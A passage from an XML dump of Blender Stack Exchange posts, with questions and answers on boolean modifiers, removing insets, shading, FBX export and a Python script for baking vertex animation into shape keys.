pieces of the bone if they split on an exact point of the guide (so exactly on the point between two lines). I will know how I have to &quot;cut the bone&quot; (so remove littles triangles) to shape it exactly like the guide (with boolean union modifier for exemple!), but like it s an object more like a triangle long bone object, one of its faces is large and have to be always at the bottom part of the modeling...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So 2) No superpositions but a complexe serie of movements (spin, translation,..) of the pieces on after the other to touch themselves in a &quot;solid&quot; mode, to force the large face to be always at the bottom... &#xA;Like that the little triangles removed will be much more smaller +++&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hnNJe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnNJe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it s very difficult to have the 2) option. S I think the first one with boolean modifier will be more than enought (but if you have an idea of course..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for your time and help in this difficult modeling!!!!! &lt;/p&gt;&#xA;" OwnerUserId="16317" LastActivityDate="2016-02-21T13:59:52.347" Title="How modeling a complex object into a shape draw by a sharp line?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35536" PostTypeId="2" ParentId="33290" CreationDate="2015-08-11T21:31:57.380" Score="2" Body="&lt;p&gt;I have solved it: I created the skeletal animation as if there was no cloth simulation happening at the same time. After that, I created the cloth simulation and applied the collision modifier to the avatar. After baking the cloth simulation, I played the animation and it worked: the cloth responded to the skeletal animation and did not disappear.&lt;/p&gt;&#xA;" OwnerUserId="15368" LastActivityDate="2015-08-11T21:31:57.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35537" PostTypeId="1" CreationDate="2015-08-11T21:34:41.953" Score="7" ViewCount="2673" Body="&lt;p&gt;The boolean modifier works on separate objects. But is there a way to boolean together multiple pieces of mesh within the same object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intersect faces leaves too much messy geometry.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-08-11T21:58:38.977" LastActivityDate="2015-08-12T18:33:52.597" Title="Boolean within the same object?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35538" PostTypeId="2" ParentId="1511" CreationDate="2015-08-11T21:52:28.020" Score="2" Body="&lt;p&gt;I found a way to rotate the view port on a laptop as if you were using a wheel and track ball on a regular pc.&lt;/p&gt;&#xA;&lt;h3&gt;Setup your user settings&lt;/h3&gt;&#xA;&lt;p&gt;Goto &lt;em&gt;File&lt;/em&gt;&amp;gt;&lt;em&gt;User Preferences&lt;/em&gt;( &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; )&lt;/p&gt;&#xA;&lt;p&gt;Select With: Right&#xA;Check: Emulate 3 Button Mouse&#xA;Check: Emulate Numpad&#xA;Orbit Style: Turntable&lt;/p&gt;&#xA;&lt;p&gt;Goto bottom and again select: Turntable.&lt;/p&gt;&#xA;&lt;p&gt;Save User Settings and close that window.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The Laptop's Mouse Pad&lt;/strong&gt;&#xA;Consist of:&#xA;The Mouse Pad, Top Left Mouse Button, Top Center Mouse Button,&lt;br /&gt;&#xA;Top Right Mouse Button, and Bottom Left Mouse Button, and Bottom&lt;br /&gt;&#xA;Right Mouse Button.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Learning How to use it&lt;/strong&gt;&#xA;The first instinct is to press The Top Center Button and then&#xA;slide your finger on the pad, it doesn't seem to work that way.&lt;/p&gt;&#xA;&lt;p&gt;It worked for me when I first slid my finger on the pad and then&#xA;pressing on the Top Center Button while sliding your finger on the&#xA;pad. You have to slide your finger on the pad at a not-too-slow&lt;br /&gt;&#xA;rate and at a not-too-fast rate.&lt;/p&gt;&#xA;&lt;p&gt;Example:&#xA;Move your finger in a circular way on the pad, not too fast and&lt;br /&gt;&#xA;not too slow, keep moving your finger on the pad, then press the&#xA;Top Center Button of the Mouse Pad.  You should be able to see&#xA;the view tilt around.  If not, release the Top Center Button,&#xA;try moving your finger on the pad slower or faster until you find&lt;br /&gt;&#xA;that magic speed.&lt;/p&gt;&#xA;" OwnerUserId="16343" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-12T03:30:18.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35540" PostTypeId="2" ParentId="35533" CreationDate="2015-08-11T22:10:42.980" Score="3" Body="&lt;p&gt;I think you have just moved down a tris of vertices. Select them and grab it on the Z axis with snap to vertex active as in the following pictures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XfNtU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XfNtU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xXgHh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xXgHh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving faces in the 3D view don't interfere with their UV data, so the texture should come back to his initial state (not streched) without further operations.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-11T22:10:42.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35541" PostTypeId="1" CreationDate="2015-08-11T22:11:56.427" Score="7" ViewCount="223" Body="&lt;p&gt;I am trying to create a light that only illuminates volume scatters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;input &gt; light path&lt;/em&gt; node has &quot;&lt;em&gt;is X ray&lt;/em&gt;&quot; outputs for all the various types of rays coming off a surface.  However I'd like something like an &lt;em&gt;is volume ray&lt;/em&gt; output to tell if a ray is coming from a volume.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-09-21T17:09:59.100" Title="Is there a way to determine if a ray is coming from a volume?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;nodes&gt;&lt;shaders&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35542" PostTypeId="2" ParentId="35523" CreationDate="2015-08-11T23:07:13.230" Score="8" Body="&lt;p&gt;Here's what i have come up with after a few minutes of playing around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ScKcO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire shader is based on cell voronoi textures.  Voronoi works well for this kind of thing because it gives nice pixel-like results.  The actual geometry is just a massively subdivided cube with a displace modifier using a small voronoi texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/igOHF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the shader nodes:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5gVzA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5gVzA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;Click to enlarge&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically a huge mix of diffuse, gloss, SSS, glass, and translucency; with a small amount of volume scattering (to simulate the light bouncing around on the sugar grains inside the cube).  Everything uses a single voronoi texture as a normal map, each shader uses a different level of bump though.  It could definitely use some tweaking, but it's a pretty good start.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A note on speed/noise:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First of all you have to realize that things like rough gloss, SSS and translucency will all generate a good deal of noise, meaning you need more samples.  I would suggest at least 500 samples for rendering many of these.  That said, there are a couple things that you can do to cut render times, and less render time means you can afford more samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all you can probably get away with nixing the volumetrics.  Though accurate it isn't essential to use the volume scatter, this alone cut my render time almost in half.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second you can add these nodes at the end:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6OIYo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this is doing is only making it compute all those complicated shaders for glossy and camera rays (the add node works like a logical OR), for all other rays it just computes diffuse.  I use this trick all the time in indoor scenes especially.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-08-12T22:26:41.060" LastActivityDate="2015-08-12T22:26:41.060" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35543" PostTypeId="1" AcceptedAnswerId="35545" CreationDate="2015-08-12T02:23:59.137" Score="5" ViewCount="1329" Body="&lt;p&gt;I created this inset on a cylindrical part of the model, then decided I didn't want the inset anymore. What's the easiest way to remove it? I tried Dissolving Faces and Dissolving Edges, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H4d9w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H4d9w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15400" LastActivityDate="2015-08-12T02:53:05.320" Title="Fastest way to remove an inset?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35544" PostTypeId="2" ParentId="35537" CreationDate="2015-08-12T02:31:27.443" Score="3" Body="&lt;p&gt;Here's what I would try. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode, make one copy of your original object for each separate part of the original object you want to use as a boolean operator with the original. If the object you want to boolean with itself has more than one mesh sub object, switch to edit mode, select each individual sub-object  containing portions you want to use as boolean operators, use the duplicate tool (&lt;kbd&gt;SHFT&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt;) to make a copy of the sub-object, and then separate the duplicate of the sub-object into a new object using the &lt;kbd&gt;P&lt;/kbd&gt; key, choosing the &quot;Selection&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will now have an original and one or more copies of the original, or portions of it. On one of the copies, select the parts of the mesh you want to use to operate on the original, perform the boolean operation, and then delete the copy. Repeat this for each part of the object that you want to use in a boolean operation. When completed you will have effectively used the object to perform the boolean with itself, and yet Blender will be satisfied that you are doing the operation between different objects. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-08-12T18:33:52.597" LastActivityDate="2015-08-12T18:33:52.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35545" PostTypeId="2" ParentId="35543" CreationDate="2015-08-12T02:36:48.743" Score="6" Body="&lt;h1&gt;Delete edge loops&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to face select mode (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;↹ Tab&lt;/kbd&gt;&lt;em&gt;&amp;gt;Faces&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the face loop inside the inset (&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; on an edge. See &lt;a href=&quot;https://blender.stackexchange.com/q/3038/599&quot;&gt;How can edge rings be selected in a predictable way?&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edge select mode (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;↹ Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; on an edge to deselect the &lt;a href=&quot;https://blender.stackexchange.com/q/11038/599&quot;&gt;edge ring&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;⌦ Delete&lt;/kbd&gt;&lt;em&gt;&amp;gt; Edge loops&lt;/em&gt; (the menu accelerator &lt;kbd&gt;G&lt;/kbd&gt; can be used for extra speed)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vF6to.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vF6to.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Scale and remove doubles&lt;/h1&gt;&#xA;&lt;p&gt;This is only really practical if your inset is aligned to an axis. Setting up &lt;a href=&quot;https://blender.stackexchange.com/a/21249/599&quot;&gt;custom axes&lt;/a&gt; and such would sorta defeat the purpose. However, if your inset &lt;em&gt;is&lt;/em&gt; aligned (as it appears in your case), then this might well be faster than the first method.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the inset as shown in your screenshot&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale to 0 along the Z (or whatever axis your inset is aligned to) (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; &lt;code&gt;0&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Remove Doubles&lt;/em&gt;, or &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; if you use the menu accelerator.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;⌦ Delete&lt;/kbd&gt;&lt;em&gt;&amp;gt; Faces&lt;/em&gt; (&lt;kbd&gt;⌦ Delete&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; with the menu accelerator).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uq0HO.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uq0HO.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Apologies in advance if the gifs are too fast. I was attempting to show what it looks like at sortof-full speed, but I'm not sure if it's possible to follow at gif framerates..&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-12T02:53:05.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35546" PostTypeId="1" CreationDate="2015-08-12T02:54:13.917" Score="1" ViewCount="438" Body="&lt;p&gt;I am attempting to create a series of animations for a video game that must be stored in separate FBX files. The character model has several empties parented to various bones, and their locations are important to the game. I have a base file that contains the character mesh, the empties, and the armature, and all of the animations are created from that file and saved separately. For the first few animations I created, I did not use any sort of controllers. It worked fine, and the files exported to FBX perfectly, but while creating them I realized how much easier it would be to use controllers. I added some IK constraints to the legs, targeted to a few simple meshes used as controllers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any FBX files exported after I added these controllers were completely unusable. The scale, location, rotation, and animation of the armature and empties was changed apparently at random. I tried to only select the armature and the empties and set the exporter to only export selected, but it did not change the outcome at all. I was able to fix this by baking the armature's animation and deleting the IK targets before exporting each animation. However, any FBX file exported from the file using the IK constraints ruins the position of the empties, whether the IK constraints are actually there or not. Most of the time, they are moved to the bone they are parented to, but sometimes they move to random positions around the armature. I have experimented with it, and as far as I can determine the IK constraints are definitely what is breaking the empties. Even after the IK constraints are deleted and every trace of them is removed (as far as I can tell), the exported FBX files still have the empties in random positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are the IK constraints affecting the empties so drastically, and is there a way I can preserve their positions through the export?&lt;/p&gt;&#xA;" OwnerUserId="16348" LastActivityDate="2015-08-12T02:54:13.917" Title="Empties change position on export to FBX" Tags="&lt;modeling&gt;&lt;export&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35547" PostTypeId="1" AcceptedAnswerId="35564" CreationDate="2015-08-12T03:02:25.823" Score="3" ViewCount="1784" Body="&lt;p&gt;I've seen a sweet technique for baking vertex animation to keyframes by means of creating a shape key for every frame and keying the shape key to come on at the right time. An awesome user on this site (shoutout to Jerryno) &lt;a href=&quot;https://blender.stackexchange.com/a/23566/15708&quot;&gt;wrote a script&lt;/a&gt; to take care of this process in one shot. I'm going to go ahead and include that script in my question in case that link ever dies; here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;start = bpy.context.scene.frame_start&#xA;end = bpy.context.scene.frame_end&#xA;&#xA;def insert_keyframe(sk, f):&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f-1)&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f+1)&#xA;    sk.value = 1.0&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f)&#xA;&#xA;meshes = []&#xA;for f in range(start, end+1):&#xA;    bpy.context.scene.frame_set(f)&#xA;    meshes.append(obj.to_mesh(scene=bpy.context.scene, apply_modifiers=True, settings='PREVIEW'))&#xA;&#xA;obj.shape_key_add(name=&quot;Basis&quot;, from_mix=False)&#xA;for i in range(0, end-start+1):&#xA;    key = obj.shape_key_add(name=str(i+start), from_mix=False)&#xA;    insert_keyframe(key, i+start)&#xA;    for vert_id in range(len(obj.data.vertices)):&#xA;        key.data[vert_id].co = meshes[i].vertices[vert_id].co&#xA;&#xA;for mesh in meshes:&#xA;    bpy.data.meshes.remove(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've run in to some cases, however, where my vertex animation periodically pauses for a bunch of frames, then resumes, then pauses for a bunch of frames, resumes, etc. It seems needless to have all of those duplicate keyframes/shapes during the time when my animation is paused--and since performance is alright not the &lt;em&gt;best&lt;/em&gt; on meshes with tons of shape keys I'd love to optimize the script so that it &lt;em&gt;only&lt;/em&gt; creates a shape key/keyframe if the vertex data has changed from the previous frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that in the code I'd need to do some kind of comparison between the vertices in each frame, but I don't even begin to have an idea how that would be done. Could someone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="15708" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2021-02-15T20:10:25.300" Title="How can I bake vertex animation into keyframes, but make sure that there aren't any duplicate keyframes" Tags="&lt;python&gt;&lt;keyframes&gt;&lt;shape-keys&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35548" PostTypeId="2" ParentId="35531" CreationDate="2015-08-12T03:12:12.087" Score="4" Body="&lt;p&gt;You cannot use a bone for this, but you can use the associated vertex group with a mask modifier.&lt;br&gt;&#xA;1st add a Mask modifier to your mesh.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jIk5x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jIk5x.png&quot; alt=&quot;mask modifier&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then choose the vertex group in the list&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KjbKm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KjbKm.png&quot; alt=&quot;choose VGroup&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Invert the mask with the double arrow button&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zervd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zervd.png&quot; alt=&quot;invert&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can animate the renderability by keyframing the &quot;renderable&quot; (camera) button (and viewport visibility with the eye icon)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XpkWO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XpkWO.png&quot; alt=&quot;animate&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mask modifier doesn't use precise weights, it's just yes/no so if a vertice has 0.01 weight, it will be completely hidden.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-12T03:12:12.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35549" PostTypeId="1" CreationDate="2015-08-12T04:22:00.907" Score="0" ViewCount="429" Body="&lt;p&gt;How do I display a powerpoint presentation in the background of a video clip, changing the slides in time with the speaker talking in the foreground? thanks. &lt;/p&gt;&#xA;" OwnerUserId="16349" LastActivityDate="2015-08-12T09:03:14.777" Title="displaying a powerpoint presentation in the background of a video clip" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35551" PostTypeId="2" ParentId="35535" CreationDate="2015-08-12T06:23:11.690" Score="1" Body="&lt;p&gt;I think i found something, not really easy.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an armature, enter Edit mode, make it flat and subdivide the bone (&lt;kbd&gt;W&lt;/kbd&gt;, subdivide and choose the number)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OcxfA.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OcxfA.gif&quot; alt=&quot;armature&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pose mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;), rotate and scale your bones to fit the shape you need&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eDngD.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eDngD.gif&quot; alt=&quot;pose&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all your bones and store the pose in the pose library, we'll use it later. Now cancel the rotation of your bones and apply the pose as the rest pose.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MVa3s.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MVa3s.gif&quot; alt=&quot;pose store apply&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a cube, in edit mode, move the faces to fit the armature and add an edge loops for each bone joint. back in object mode, parent the mesh to the armature (select mesh 1st then armature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, choose automatic weights)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hB1bK.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hB1bK.gif&quot; alt=&quot;add cube&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select your bone object (the thing that you'll cut) duplicate it with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;, move the duplicate to the armature and parent it to the 1st bone (select the mesh then the bone, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, choose bone). Do as much duplicates as you have bones and parent them the same way.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zPdq7.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zPdq7.gif&quot; alt=&quot;parent bones to bones&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select all your bones (armature) and apply the pose your stored earlier and clear the scale (menu or &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gflMk.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gflMk.gif&quot; alt=&quot;pose&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the cube mesh needs it, correct the vertex groups. This should be simple with a lowpoly mesh and few bones.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RdgjW.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RdgjW.gif&quot; alt=&quot;VGroup weight&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now apply the armature modifier on the cube and in edit mode separate the elements (select and &lt;kbd&gt;P&lt;/kbd&gt;). Add faces to close them.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3LJUG.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3LJUG.gif&quot; alt=&quot;separate bool&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have 3 cubes usable as booleans to cut the 3 bone objects where you need. You can easily move the bone objects along their local coordinates for minor adjustments.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-12T06:23:11.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35552" PostTypeId="1" AcceptedAnswerId="35553" CreationDate="2015-08-12T06:57:39.320" Score="2" ViewCount="118" Body="&lt;p&gt;I am getting this undesired style of shading which gives a high contrast gradient across panels on a mesh object and even shows up in solid viewpoint mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B7PjQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B7PjQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like is a much flatter shading style, like it is on other objects in the same project, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hKJQr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hKJQr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what is happening to create the undesired shading, because the object appears to be setup and lit exactly the same as other objects within the project. Help Appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16192" LastActivityDate="2015-08-12T07:09:37.340" Title="Undesired Gradient Shading" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-08-12T07:17:29.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="35553" PostTypeId="2" ParentId="35552" CreationDate="2015-08-12T07:09:37.340" Score="2" Body="&lt;p&gt;This is happenning because you have &lt;em&gt;smooth&lt;/em&gt; shading applied, to solve that you have to give your model &lt;em&gt;'Edge Split'&lt;/em&gt; Modifier.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-12T07:09:37.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
